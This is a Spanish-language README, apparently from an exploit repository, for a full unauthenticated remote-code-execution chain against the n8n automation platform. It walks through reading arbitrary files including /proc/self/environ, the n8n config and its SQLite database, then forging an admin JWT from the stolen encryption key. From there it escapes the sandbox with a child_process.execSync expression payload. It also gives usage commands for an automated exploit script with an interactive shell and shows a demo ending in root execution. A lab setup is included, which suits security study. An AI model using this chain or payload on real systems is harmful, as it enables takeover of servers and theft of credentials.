CVE-2026-21858 + CVE-2025-68613 - Cadena completa en n8n

Lectura arbitraria de archivos sin autenticación → Forja de token de administrador → Bypass de sandbox → RCE

Cadena completa de RCE sin autenticación en n8n:

1. CVE-2026-21858 - Confusión de Content-Type → Lectura arbitraria de archivos
2. Leer configuración + base de datos → forjar JWT de administrador
3. CVE-2025-68613 - Inyección de expresiones → bypass de sandbox → RCE

Detección

La exposición es basada en versión. En términos de exposición, hay instancias vulnerables de n8n accesibles públicamente.

Resultados de LeakIX: Ver instancias expuestas

¿Por qué este exploit?

Este exploit fue desarrollado de forma independiente al informe de Cyera (descubierto después de su finalización). Diferencias clave:

	Cyera (Investigación original)	Este exploit
Lectura de archivos	Cargar en la base de conocimiento de IA → consultar mediante chat	Respuesta HTTP directa
Requisitos previos	Workflow de chat + integración de IA	Cualquier formulario con carga de archivos
Método de RCE	Nodo "Execute Command" (deshabilitado por defecto)	Inyección de expresiones (funciona en instalaciones predeterminadas)
Automatización	Demo manual/conceptual	Script Python totalmente automatizado

Ambos enfoques requieren configuraciones de workflow específicas. Cyera necesita chat + integración de IA, este exploit necesita un formulario con nodo Respond. Consulta Limitaciones para más detalles.

Cadena de ataque

┌───────────────────────────────────────────────────────────┐
│                     SIN AUTENTICACIÓN                      │
├───────────────────────────────────────────────────────────┤
│  1. Leer /proc/self/environ → Encontrar directorio HOME   │
│  2. Leer $HOME/.n8n/config → Obtener encryptionKey        │
│  3. Leer $HOME/.n8n/database.sqlite → Obtener credenciales│
│     de administrador                                      │
├───────────────────────────────────────────────────────────┤
│                      FORJA DE TOKEN                       │
├───────────────────────────────────────────────────────────┤
│  4. Derivar secreto JWT a partir de encryptionKey         │
│  5. Forjar cookie de sesión de administrador              │
├───────────────────────────────────────────────────────────┤
│                    RCE AUTENTICADO                        │
├───────────────────────────────────────────────────────────┤
│  6. Crear workflow con inyección de expresiones           │
│  7. Bypass de sandbox mediante this.process.mainModule.   │
│     require                                               │
│  8. Ejecutar comandos arbitrarios                         │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lectura arbitraria de archivos mediante confusión de Content-Type

El parche

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

El legendario "Merge commit from fork" - cuando ves esto, alguien encontró algo picante. 🌶️

Causa raíz

// ANTES (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// DESPUÉS (corregido)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Enviar Content-Type: application/json → controlar filepath → leer cualquier archivo.

CVE-2025-68613 - RCE mediante inyección de expresiones

¿Por qué este bypass?

n8n aísla el código de usuario (nodo Code, expresiones) usando vm2/isolated-vm. Otros vectores de RCE:

Técnica	Estado
Nodo Execute Command	Deshabilitado por defecto (N8N_ALLOW_EXEC_COMMAND=false)
Nodos SSH/HTTP	Se ejecutan en servidores remotos, no en el host de n8n
Escape de sandbox Pyodide	CVE-2025-68668 - requiere nodo Python Code
Inyección de expresiones	CVE-2025-68613 - funciona en instalaciones predeterminadas

Usé inyección de expresiones porque funciona en cualquier n8n con configuración predeterminada - sin nodos ni configuración especiales requeridos. El bypass de Pyodide (CVE-2025-68668) requiere el nodo Python Code que puede no estar disponible en todas las instancias.

El payload

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Las expresiones de n8n tienen acceso a this.process.mainModule.require → escape completo del sandbox.

Forja de token

# Derivación del secreto JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forjar token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configuración del laboratorio

docker compose up -d
# Esperar ~60 segundos para la configuración
# Formulario: http://localhost:32790/form/vulnerable-form
# Credenciales: [email protected] / ExploitLab123!

Uso

# Leer archivo arbitrario
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Cadena completa con comando
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Shell interactivo
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demo

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - Cadena completa en n8n  ║
║     Lectura arbitraria de archivos → Forja de token → Bypass  ║
║     de sandbox → RCE                                          ║
╚═══════════════════════════════════════════════════════════════╝

[*] Objetivo: http://localhost:5678/form/vulnerable-form
[*] Versión: 1.65.0 (VULNERABLE)
[x] Directorio HOME
[+] Directorio HOME: /root
[x] Clave de cifrado
[+] Clave de cifrado: yusrXZV1...
[x] Base de datos
[+] Base de datos: 1327104 bytes
[x] Usuario administrador
[+] Usuario administrador: [email protected]
[x] Forja de token
[+] Forja de token: OK
[x] Acceso de administrador
[+] Acceso de administrador: ¡CONCEDIDO!
[+] Cookie: n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitaciones

Esto NO es un exploit para "comprometer cualquier n8n". Requiere condiciones específicas para funcionar:

Requisito	Descripción
Formulario con carga de archivos	El objetivo debe tener un workflow de formulario con un campo de carga de archivos
Nodo Respond to Webhook	El workflow debe devolver el contenido del archivo en la respuesta HTTP
Workflow activo	El workflow del formulario debe estar activado
Acceso sin autenticación	El formulario debe ser accesible públicamente (sin autenticación)

Ejemplo de configuración de workflow vulnerable:

{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}